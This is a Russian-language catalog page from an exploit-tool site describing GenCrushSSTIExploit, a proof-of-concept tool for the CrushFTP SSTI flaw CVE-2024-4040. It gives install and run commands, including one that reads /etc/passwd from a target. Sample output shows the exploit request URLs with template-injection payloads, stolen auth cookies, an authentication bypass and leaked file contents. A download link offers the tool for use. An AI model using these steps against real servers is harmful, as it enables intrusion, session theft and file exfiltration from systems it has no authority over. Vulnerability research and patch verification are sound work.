Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
GenCrushSSTIExploit — является PoC для CVE-2024-4040 инструментом для эксплуатации уязвимости SSTI в CrushFTP | Kitploit
Инструменты/GitHubGitHub/geniuszly/gencrushsstiexploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и Образование
GitHubgeniuszly/gencrushsstiexploit

GenCrushSSTIExploit

является PoC для CVE-2024-4040 инструментом для эксплуатации уязвимости SSTI в CrushFTP

Репозиторий
811 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

RU

GenCrushSSTIExploit — это PoC-инструмент для эксплуатации уязвимости SSTI (Server-Side Template Injection) в CrushFTP CVE-2024-4040. Данный инструмент демонстрирует способы эксплуатации этой уязвимости исключительно в образовательных и этических целях.

Возможности

  • Устанавливает сессию с сервером CrushFTP для извлечения куки-файлов аутентификации.
  • Эксплуатирует уязвимость SSTI для внедрения полезных нагрузок.
  • Пытается обойти аутентификацию и извлечь конфиденциальные файлы с сервера.
  • Использует rich для красивого и стилизованного вывода в консоль.

Отказ от ответственности

⚠️ Используйте этот инструмент ответственно! Он предназначен только для исследований и образовательных целей. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный данным инструментом.

Установка

Предварительные требования

  • Python 3.7+
  • pip (менеджер пакетов Python)

Клонирование репозитория

root@kitploit:~
git clone https://github.com/geniuszly/GenCrushSSTIExploit
cd GenCrushSSTIExploit

Установка необходимых пакетов

root@kitploit:~
pip install -r requirements.txt

Использование

Основная команда

root@kitploit:~
python GenCrushSSTIExploit.py -t <ЦЕЛЕВОЙ_URL>
  • -t / --target: Указывает целевой URL уязвимого сервера CrushFTP.

Дополнительные параметры

  • -l / --lfi: Локальное включение файла. Указывает файл для извлечения.
  • -w / --wordlist: Указывает словарь для перебора путей к файлам.

Пример

root@kitploit:~
python GenCrushSSTIExploit.py -t http://example.com -l /etc/passwd

Пример вывода

root@kitploit:~
★ Добро пожаловать в GenCrushSSTIExploit ★
CrushFTP SSTI PoC (CVE-2024-4040)
Автор: geniuszly
Использование: только для учебных и этических целей
--------------------------------------------------

[*] Подключение к ServerSessionAJAX...

[+] Успешно подключено к ServerSessionAJAX
[+] Куки CrushAuth: abc123def456ghi789
[+] Куки currentAuth: xyz987

[*] Попытка эксплуатации уязвимости SSTI...

[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={hostname}&names=/a

[+] Успешная эксплуатация уязвимости SSTI
[+] Ответ сервера: Hostname: example.com

[*] Попытка обхода аутентификации...

[+] URL: http://example.com/WebInterface/function/?c2f=xyz987&command=zip&path={working_dir}&names=/a

[+] Обход аутентификации успешен
[+] Извлечение /etc/passwd...
[+] Успешное извлечение /etc/passwd
[+] Извлеченное содержимое:
root:x:0:0:root:/root:/bin/bash
...
Скачать инструмент